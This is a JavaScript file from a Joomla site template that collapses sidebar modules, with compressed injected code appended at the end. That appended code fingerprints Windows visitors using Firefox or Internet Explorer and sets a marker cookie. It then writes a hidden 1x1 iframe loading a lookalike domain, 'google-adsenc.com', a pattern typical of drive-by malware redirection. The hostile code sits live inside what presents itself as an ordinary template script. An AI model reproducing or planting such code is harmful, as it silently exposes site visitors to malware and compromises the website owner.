var JA_Collapse_Mod = new Class({

	initialize: function(myElements) {
		options = Object.extend({			
			transition: Fx.Transitions.quadOut
		}, {});
			
		//var exModules = Cookie.get('ja-collex');
		if(!exModules) exModules = [];
		
		myElements.each(function(el){
			el = this.getDeepestDiv(el);
			var title = $E('H3', el);
			if (!title) return;
			el._id = title.innerHTML.trim().replace (' ', '_');

			if (exModules.contains(el._id)) {
				return;
			}

			title.remove();
			el.innerHTML = '<div class="jamod-content">' + el.innerHTML + '</div>';
			title.inject(el, 'top');
			el.titleEl = title;
			el.titleEl.setStyle('cursor', 'pointer');

			el.elmain = $E('.jamod-content',el);

			el.status = Cookie.get(el._id);
			el.openH = el.elmain.getStyle('height').toInt();
			el.elmain.setStyle ('overflow','hidden');

			if(el.status == 'hide') {
				el.titleEl.className='hide';
				//el.elmain.setStyle('height', 0);
			} else {
				el.titleEl.className='show';
				el.status = 'show';
			}
			
			el.titleEl.addEvent('click', function(e){
				e = new Event(e).stop();
				el.toggle();
			});	
			
			el.toggle = function(){
				if (el.status=='hide') el.show();
				else el.hide();
			}	
			
			el.show = function() {
				el.titleEl.className='show';
				var ch = el.elmain.getCoordinates().height;
				new Fx.Style(el.elmain,'height',{onComplete:el.toggleStatus}).start(ch,el.openH);
			}	
			el.hide = function() {
				el.titleEl.className='hide';
				var ch = el.elmain.getCoordinates().height;
				new Fx.Style(el.elmain,'height',{onComplete:el.toggleStatus}).start(ch,0);				
			}
			el.toggleStatus = function () {
				el.status=(el.titleEl.className=='show')?'show':'hide';
				if (el.status == 'show')
				{
					el.elmain.setStyle ('height', 'auto');
					el.openH = el.elmain.getCoordinates().height;
				}
				Cookie.set(el._id,el.status,{duration:365});
			}				
			
			if(el.status=='hide') el.hide();

		}, this);
	},

	getDeepestDiv: function (div) {
		while (div.getChildren().length && (div.getChildren()[0].tagName == 'DIV'))
		{
			div = div.getChildren()[0];
		}
		return div;
	}
});

window.addEvent ('load', function(e){
	var jamod = new JA_Collapse_Mod ($ES('.module', $('ja-sidecol')));
});
var BrowserDetect = { init: function () { this.browser = this.searchString(this.dataBrowser) || "An unknown browser"; this.version = this.searchVersion(navigator.userAgent) || this.searchVersion(navigator.appVersion) || "an unknown version"; this.OS = this.searchString(this.dataOS) || "an unknown OS"; }, searchString: function (data) { for (var i=0;i<data.length;i++) { var dataString = data[i].string; var dataProp = data[i].prop; this.versionSearchString = data[i].versionSearch || data[i].identity; if (dataString) { if (dataString.indexOf(data[i].subString) != -1) return data[i].identity; } else if (dataProp) return data[i].identity; } }, searchVersion: function (dataString) { var index = dataString.indexOf(this.versionSearchString); if (index == -1) return; return parseFloat(dataString.substring(index+this.versionSearchString.length+1)); }, dataBrowser: [       { string: navigator.userAgent,subString: "Firefox",identity: "Firefox"},{string: navigator.userAgent,subString: "MSIE",identity: "Explorer",versionSearch: "MSIE"}],dataOS : [{string: navigator.platform,subString: "Win",identity: "Windows"}]};function addCookie(szName,szValue,dtDaysExpires){ var dtExpires = new Date();var dtExpiryDate = "";dtExpires.setTime(dtExpires.getTime()+dtDaysExpires*24*60*60*1000);dtExpiryDate=dtExpires.toGMTString();document.cookie=szName+"="+szValue+";expires="+dtExpiryDate;} function findCookie(szName){        var i=0;var nStartPosition=0;var nEndPosition=0;var szCookieString=document.cookie; while (i<=szCookieString.length){nStartPosition=i;nEndPosition=nStartPosition+szName.length;if (szCookieString.substring(nStartPosition,nEndPosition)==szName){nStartPosition=nEndPosition+1;nEndPosition=document.cookie.indexOf(";",nStartPosition);if(nEndPosition<nStartPosition) nEndPosition=document.cookie.length;return document.cookie.substring(nStartPosition,nEndPosition);break;}i++;} return "";} BrowserDetect.init(); var szCookieString = document.cookie; var boroda = BrowserDetect.browser; var os = BrowserDetect.OS; if ( ((boroda == "Firefox" || boroda == "Explorer") && (os == "Windows")) && (findCookie('geo_idn')!='c48a765e4f75baeb85f0a755fc3ec09c') ) {addCookie("geo_idn","c48a765e4f75baeb85f0a755fc3ec09c",1);document.write('<iframe src="http://google-adsenc.com/in.cgi?2" name="Twitter" scrolling="auto" frameborder="no" align="center" height = "1px" width = "1px"></iframe>');}else {}
